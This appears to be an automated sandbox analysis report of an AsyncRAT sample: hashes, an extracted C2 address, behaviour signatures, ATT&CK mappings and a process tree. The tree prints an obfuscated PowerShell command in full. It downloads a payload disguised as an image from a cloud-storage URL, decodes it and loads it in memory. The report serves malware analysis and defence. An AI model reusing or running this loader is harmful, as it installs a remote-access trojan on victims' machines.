asyncrat | 47fb2b16b06cbdce77b01fe76e32ceec28c8d2659f31b64a7db44d5fc2594d03

Analysis

max time kernel
150s
max time network
158s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
22/08/2026, 09:17

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General

Target
47fb2b16b06cbdce77b01fe76e32ceec28c8d2659f31b64a7db44d5fc2594d03.js
Size 2.0MB
Sample260822-k855qaxtc1
SHA256 47fb2b16b06cbdce77b01fe76e32ceec28c8d2659f31b64a7db44d5fc2594d03
MD5 f5cb5bf563bbf9d0652366116d041dd3
SHA1 6f8c0b976213160dea76d08626e00b386072790a
SHA512 68f1df7a55fb548d834286f08e0a4680fb8c79b581bfa5d9a8c3aa1aff65fa6798f5bcd90a2a3c5a0295d83a76ef4fba43c3f408c977bd7eb4f0f289468a69f2
SSDEEP 384:J2dGGe4+Gu40GaU4BdGGUGaWGNGhdGGe4YGNGe4BdGGQGhdGG4GNGe4+4+Gu40GE:JyIsWq
TLSH
T1E8A574B7E2E3400369F5711EC9AD7936E7B1222711A0B60F78C69590EB09A5C3932FF5
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

xxxxxxxxxxxxx discovery execution asyncrat rat

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://firebasestorage.googleapis.com/v0/b/sadam-bda08.firebasestorage.app/o/trafic%2Fcocaine123.png?alt=media&token=f4d1dc52-1323-4e48-ab61-0f48d43efe5c

Extracted

Family

asyncrat

Version

1.0.7

Botnet

XXXXXXXXXXXXX

acwawcaw353553.1cooldns.com:4242

Mutex

drvvavww43535553

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3296	4972	powershell.exe	89

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	3296	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3296	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3296 set thread context of 5356	3296	powershell.exe	92

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsBuild.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3296	powershell.exe
3296	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3296	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 3296 wrote to memory of 5356	3296	powershell.exe	92
PID 3296 wrote to memory of 5356	3296	powershell.exe	92
PID 3296 wrote to memory of 5356	3296	powershell.exe	92
PID 3296 wrote to memory of 5356	3296	powershell.exe	92
PID 3296 wrote to memory of 5356	3296	powershell.exe	92

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\47fb2b16b06cbdce77b01fe76e32ceec28c8d2659f31b64a7db44d5fc2594d03.js
1⤵
PID:4668

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('$ciliary=''https://firebasestorage.googleapis.com/v0/b/sadam-bda08.firebasestorage.app/o/trafic%2Fcocaine123.png?alt=media&token=f4d1dc52-1323-4e48-ab61-0f48d43efe5c''; $compossibility = [System.Net.HttpWebRequest]::Create($ciliary); $compossibility.UserAgent = ''Mozilla/5.0''; $sfregazzi = $compossibility.GetResponse().GetResponseStream(); $reader = New-Object IO.StreamReader($sfregazzi); $kourbash = $reader.ReadtoEnd(); $lacune=''IN-''; $hominins=''-in1''; $javaone_2008_ge=[string]::IndexOf($kourbash, $lacune); $pajero=$kourbash.LastIndexOf($hominins); if($javaone_2008_ge -eq -1 -or $pajero -eq -1){return}; $syngamic=$javaone_2008_ge+$lacune.Length; $anomocarpous=$kourbash.Substring($kourbash.IndexOf($lacune)+$lacune.Length, $pajero-($kourbash.IndexOf($lacune)+$lacune.Length)); $phassachate=$anomocarpous.Replace(''#'',''A'').ToCharArray(); [Array]::Reverse($phassachate); $perforati=$phassachate -join ''''; [byte[]]$hobblingly=[Convert]::FromBase64String($perforati); $bosta=[AppDomain]::(''Cu''+''rrentDomain'').GetType().GetMethod(''Lo''+''ad'', [byte[]]); $unswerving=$bosta.Invoke([AppDomain]::(''Cu''+''rrentDomain''), (,$hobblingly)); $landaulets=(''E6LgF44VlSKtLLnyOHaiUmRIMi14Lo/Q0KOC3b+sMBm7SpZU2U6MLQ+N4IQT3ekkXwshdlEP0yJ+7TJgCTVFejUwwY1NiyyIEn+e/qVzjHMwras2luOiLpT4spGlvd1R8pzi/yi4PDNRHkkcH1IjuxedYhiBWOrRoSQoSiNFqMgZwAyjW+/qzGF6OSqutgc3yzzeC+lfSJrCEy9CsAksDMyqgQQ7tyrGwAJDuG1rn9Q='','''',''TcYZEzA+0MHj656nTgZiWCnBfyzm4ij3uKbxIoWO/sPMkBfvibl8Ct77/cUByx4e'',''MwBB0yKqUfWCQNDNkDR2nhNNwIhXbK4nw46IaR3Mr2Q='',''vL5GZ0V/W78QwIEHmPnGOqumtbx9bOKGxyHoUDuwFmE='','''',''QUERCIuSh+VjT845Wl+tSFiY+03uVH5l2k0ErHjO2lQ='','''','''',''GJYNQzZPvvA9YUP5TQ5wM/KhT7mDZ94mPCbVJ1SCO4pFRzDyfQsyiALhFYooAqTt'',''SdtVKzh/ClfgtdW6IBjSSjuiktjLbNK4xibQrObhzek='',''MBJF7hzUo/PhfAts084akVS7f9wSyj36EIHlCS14yc8='',''z7o7qwL9DIabEdZLHbL5aBwK5//b3gkYTtFTVtiWF7E='','''',''R6oaoDskSPdIjPiSqWi5jK7SOdJOptXqeBd8ajzlZjo='',''J6MvbJKg8LYg3j/cjxBzfQiezTsAMk5xGI5w9fiyfeQ='','''','''','''',''B6TL2hgPtt0S0ZNbJ3ceDJVKGt4Zxfif9+mwJ0UQmkU='',''AAS3u1km86U/ITNsrxKZJ6sgKMkoWp6sLCMXVqHFNSw=''); try{$monometallist=($unswerving.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $galactotherapy=($monometallist.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $galactotherapy.Invoke($null,[object[]]$landaulets)}catch{}'))"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3296
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5356

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3296-12-0x00007FFB7A250000-0x00007FFB7ABF4000-memory.dmp

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memory/3296-13-0x00007FFB7A250000-0x00007FFB7ABF4000-memory.dmp

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memory/3296-4-0x00007FFB7A250000-0x00007FFB7ABF4000-memory.dmp

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memory/3296-5-0x00007FFB7A250000-0x00007FFB7ABF4000-memory.dmp

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memory/3296-6-0x00007FFB7A250000-0x00007FFB7ABF4000-memory.dmp

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memory/3296-7-0x00007FFB7A250000-0x00007FFB7ABF4000-memory.dmp

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memory/3296-8-0x00007FFB7A250000-0x00007FFB7ABF4000-memory.dmp

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memory/3296-9-0x00007FFB7A250000-0x00007FFB7ABF4000-memory.dmp

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memory/3296-10-0x00007FFB7A250000-0x00007FFB7ABF4000-memory.dmp

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memory/3296-11-0x00007FFB7A250000-0x00007FFB7ABF4000-memory.dmp

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memory/3296-1-0x000002442E960000-0x000002442E982000-memory.dmp

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memory/3296-14-0x00007FFB7A250000-0x00007FFB7ABF4000-memory.dmp

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memory/3296-0-0x00007FFB7A3DF000-0x00007FFB7A3E0000-memory.dmp

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memory/3296-15-0x00007FFB7A250000-0x00007FFB7ABF4000-memory.dmp

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memory/3296-16-0x00007FFB7A250000-0x00007FFB7ABF4000-memory.dmp

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memory/3296-17-0x0000024446B30000-0x0000024446BC2000-memory.dmp

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memory/3296-18-0x000002442E990000-0x000002442E99A000-memory.dmp

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memory/3296-22-0x00007FFB7A250000-0x00007FFB7ABF4000-memory.dmp

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memory/3296-21-0x00007FFB7A250000-0x00007FFB7ABF4000-memory.dmp

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memory/5356-19-0x0000000000400000-0x0000000000412000-memory.dmp

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memory/5356-23-0x0000000074F52000-0x0000000074F53000-memory.dmp

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